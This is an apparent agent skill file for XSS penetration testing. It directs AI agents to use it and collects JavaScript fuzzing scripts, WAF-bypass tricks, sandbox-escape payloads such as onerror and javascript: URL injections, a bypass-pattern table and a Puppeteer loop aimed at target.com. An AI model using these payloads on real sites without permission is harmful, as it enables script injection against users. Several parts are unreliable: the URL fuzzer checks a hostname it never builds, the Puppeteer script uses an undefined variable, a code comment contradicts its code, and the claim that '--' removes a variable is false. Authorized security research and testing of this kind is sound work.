# JS Xss Pentesting

> JavaScript-based XSS and security testing techniques. Use this skill whenever the user needs to test for XSS vulnerabilities, fuzz JavaScript input, bypass WAF protections, escape JavaScript sandboxes, or analyze JavaScript behavior for security research. This includes generating payloads, understanding valid JavaScript characters, protocol fuzzing, and automated browser testing. Make sure to use this skill when the user mentions XSS, JavaScript security, WAF bypass, sandbox escape, or any web application security testing involving JavaScript.

- Skill: `abelrguezr/js-xss-pentesting` (Agent Skill, multi-file: 11 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/js-xss-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/js-xss-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/js-xss-pentesting

---


# JavaScript XSS & Security Testing

A comprehensive guide to JavaScript-based security testing techniques for XSS vulnerabilities, WAF bypass, and sandbox escapes.

## JavaScript Fuzzing

### Valid JavaScript Comment Characters

JavaScript accepts various characters as comment delimiters. These can be used to bypass filters:

```javascript
// Single line comment
/* Multiline comment */
#! Single line (must be at beginning)
--> Single line (must be at beginning)
```

**Fuzzing script** to discover valid comment characters:

```javascript
for (let j = 0; j < 128; j++) {
  for (let k = 0; k < 128; k++) {
    for (let l = 0; l < 128; l++) {
      if (j == 34 || k == 34 || l == 34) continue; // Skip quotes
      if (j == 0x0a || k == 0x0a || l == 0x0a) continue; // Skip newlines
      if (j == 0x0d || k == 0x0d || l == 0x0d) continue; // Skip carriage returns
      if (j == 0x3c || k == 0x3c || l == 0x3c) continue; // Skip <
      if ((j == 47 && k == 47) || (k == 47 && l == 47)) continue; // Skip //
      
      try {
        var cmd = String.fromCharCode(j) + String.fromCharCode(k) + 
                  String.fromCharCode(l) + 'a.orange.ctf"';
        eval(cmd);
      } catch(e) {
        var err = e.toString().split('\n')[0].split(':')[0];
        if (err === 'SyntaxError' || err === 'ReferenceError') continue;
        console.log(err, cmd);
      }
    }
  }
}
```

### Valid JavaScript Newline Characters

JavaScript interprets these characters as newlines:

| Character | Code | Hex |
|-----------|------|-----|
| LF | 10 | 0x0a |
| CR | 13 | 0x0d |
| Line Separator | 8232 | 0xe2 0x80 0xa8 |
| Paragraph Separator | 8233 | 0xe2 0x80 0xa9 |

**Fuzzing script** to discover valid newline characters:

```javascript
for (let j = 0; j < 65536; j++) {
  try {
    var cmd = '"aaaaa";' + String.fromCharCode(j) + '-->a.orange.ctf"';
    eval(cmd);
  } catch (e) {
    var err = e.toString().split("\n")[0].split(":")[0];
    if (err === "SyntaxError" || err === "ReferenceError") continue;
    console.log(`[${err}]`, j, cmd);
  }
}
```

### Valid Characters in Function Calls

Characters that can appear between a function name and parentheses:

```javascript
function x() {}

log = [];
for (let i = 0; i <= 0x10ffff; i++) {
  try {
    eval(`x${String.fromCodePoint(i)}()`);
    log.push(i);
  } catch(e) {}
}

// Valid codes: 9,10,11,12,13,32,160,5760,8192-8202,8232,8233,8239,8287,12288,65279
```

### Valid String Generation Characters

Characters that can form valid strings:

```javascript
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
  try {
    eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`);
    log.push(i);
  } catch (e) {}
}
// Valid: 34 (double quote), 39 (single quote), 47 (regex), 96 (backticks)
```

## WAF Bypass Techniques

### Surrogate Pairs

Surrogate pairs can bypass WAF protections by encoding bytes differently:

```python
def unicode(findHex):
    """Find surrogate pairs matching specific byte patterns"""
    for i in range(0, 0xFFFFF):
        H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
        h = chr(int(H[-2:], 16))
        L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
        l = chr(int(L[-2:], 16))
        if (h == findHex[0]) and (l == findHex[1]):
            print(H.replace("0x", "\\u") + L.replace("0x", "\\u"))
```

### Protocol Fuzzing

Fuzz the `javascript:` protocol to find bypasses:

```javascript
log = [];
let anchor = document.createElement('a');
for (let i = 0; i <= 0x10ffff; i++) {
  anchor.href = `javascript${String.fromCodePoint(i)}:`;
  if (anchor.protocol === 'javascript:') {
    log.push(i);
  }
}
// Valid: 9, 10, 13, 58

// Example usage:
let anchor = document.createElement('a');
anchor.href = `javascript${String.fromCodePoint(58)}:alert(1337)`;
anchor.textContent = 'Click me';
document.body.append(anchor);

// HTML alternative:
// <a href="&#12;javascript:alert(1337)">Test</a>
```

### URL Fuzzing

**Before the protocol:**

```javascript
a = document.createElement("a");
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
  a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`;
  if (a.hostname === "hacktricks.xyz") {
    log.push(i);
  }
}
// Valid: 0-32 (control characters and space)
```

**Between slashes:**

```javascript
a = document.createElement("a");
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
  a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`;
  if (a.hostname === "hacktricks.xyz") {
    log.push(i);
  }
}
// Valid: 9, 10, 13, 47, 92
```

### HTML Comment Fuzzing

Characters that can close HTML comments:

```javascript
log = [];
div = document.createElement("div");
for (let i = 0; i <= 0x10ffff; i++) {
  div.innerHTML = `<!----${String.fromCodePoint(i)}><span></span>-->`;
  if (div.querySelector("span")) {
    log.push(i);
  }
}
// Valid: 33 (!), 45 (-), 62 (>)
```

## JavaScript Function Tricks

### `.call()` and `.apply()`

Execute functions with custom `this` context:

```javascript
function test_call() {
  console.log(this.value); // "baz"
}

new_this = { value: "hey!" };
test_call.call(new_this);

// With arguments:
function test_call() {
  console.log(arguments[0]); // "arg1"
  console.log(arguments[1]); // "arg2"
  console.log(this); // [object Window]
}
test_call.call(null, "arg1", "arg2");

// .apply() with array of arguments:
function test_apply() {
  console.log(arguments[0]); // "arg1"
  console.log(arguments[1]); // "arg2"
}
test_apply.apply(null, ["arg1", "arg2"]);
```

### Arrow Functions

Concise function syntax:

```javascript
// Traditional
function plusone(a) { return a + 1; }

// Arrow
plusone = (a) => a + 1;

// Multiple parameters
(a, b) => a + b + 100;

// No parameters
() => a + b + 1;
```

### `.bind()`

Create function copies with modified `this` and parameters:

```javascript
var fn = function(param1, param2) {
  console.info(this, param1, param2);
};

// Bind with custom this
var bindFn = fn.bind(console, "fixingparam1");
bindFn("Hello", "World");

// Bind with null this
var bindFnNull = fn.bind(null, "fixingparam1");
```

### Function Code Leak

Extract function source code:

```javascript
function afunc() {
  return 1 + 1;
}

// Multiple ways to get function code:
console.log(afunc.toString());
console.log(String(afunc));
console.log(this.afunc.toString());
console.log(global.afunc.toString());

// For anonymous functions:
;(function() {
  return arguments.callee.toString();
})();

// Extract code from another function:
;(function() {
  return (retFunc) => String(arguments[0]);
})((a) => {
  /* Hidden comment */
})();
```

## Sandbox Escape Techniques

### Recovering Window Object

Access global functions from restricted contexts:

```javascript
// Direct access
window.eval("alert(1)");
frames;
globalThis;
parent;
self;
top; // Topmost window

// From document
document.defaultView.alert(1);

// From node object
node = document.createElement('div');
node.ownerDocument.defaultView.alert(1);

// From error events
<img src onerror="event.path.pop().alert(1337)">
<img src onerror="event.composedPath().pop().alert(1337)">
<svg><image href=1 onerror="evt.composedPath().pop().alert(1337)"></svg>

// Using Error.prepareStackTrace
Error.prepareStackTrace = function(error, callSites) {
  callSites.shift().getThis().alert(1337);
};
new Error().stack;

// Using with() statement
<img src onerror="with(document) { defaultView.alert(1337); }">
```

### Breakpoint Debugging

Set breakpoints on property access:

```javascript
// Break on sessionStorage/localStorage access
sessionStorage.getItem = localStorage.getItem = function(prop) {
  debugger;
  return sessionStorage[prop];
};

localStorage.setItem = function(prop, val) {
  debugger;
  localStorage[prop] = val;
};

// Break on specific property access
function debugAccess(obj, prop, debugGet = true) {
  var origValue = obj[prop];
  
  Object.defineProperty(obj, prop, {
    get: function() {
      if (debugGet) debugger;
      return origValue;
    },
    set: function(val) {
      debugger;
      origValue = val;
    }
  });
}

// Example: debug prototype pollution
debugAccess(Object.prototype, "ppmap");
```

## Automated Browser Testing

### Puppeteer Payload Testing

Automate XSS payload testing with headless browser:

```javascript
const puppeteer = require("puppeteer");

async function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  
  // Loop through different payload values
  for (let i = 0; i < 10000; i += 100) {
    console.log(`Run number ${i}`);
    const input = `${"0".repeat(i)}${realPasswordLength}`;
    
    await page.goto(`https://target.com/page?param=${input}`);
    
    // Execute function in page context
    await page.evaluate("generate()");
    
    // Extract results
    const content = await page.$$eval(
      ".alert .page-content",
      (node) => node[0].innerText
    );
    
    console.log(content);
    await sleep(1000);
  }
  
  await browser.close();
})();
```

## Additional Resources

### Tools

- **Hackability Inspector** (PortSwigger): Analyze JavaScript object attributes
  - https://portswigger-labs.net/hackability/inspector/

- **Shuji**: Analyze .map JavaScript files
  - https://github.com/paazmaya/shuji

### References

- JavaScript for Hackers by Gareth Heyes
- https://mathiasbynens.be/notes/javascript-unicode
- https://mathiasbynens.be/notes/javascript-encoding
- https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md

## Quick Reference

### Common Bypass Patterns

| Technique | Example |
|-----------|--------|
| Newline in protocol | `&#12;javascript:alert(1)` |
| Comment bypass | `<!-->alert(1)<!--` |
| Function space | `alert\xa0(1)` |
| String quotes | `"%$£234"` |
| Protocol fuzz | `javascript\u003aalert(1)` |

### Decrement Operator Trick

The `--` operator can remove variables from scope:

```javascript
--variableName; // Sets variable to NaN, effectively removing it
```

## Usage Guidelines

1. **Always test in controlled environments** - These techniques can be destructive
2. **Document findings** - Keep records of successful bypasses
3. **Respect scope** - Only test systems you have authorization for
4. **Combine techniques** - Multiple bypasses often work together
5. **Stay updated** - Browser behavior changes frequently

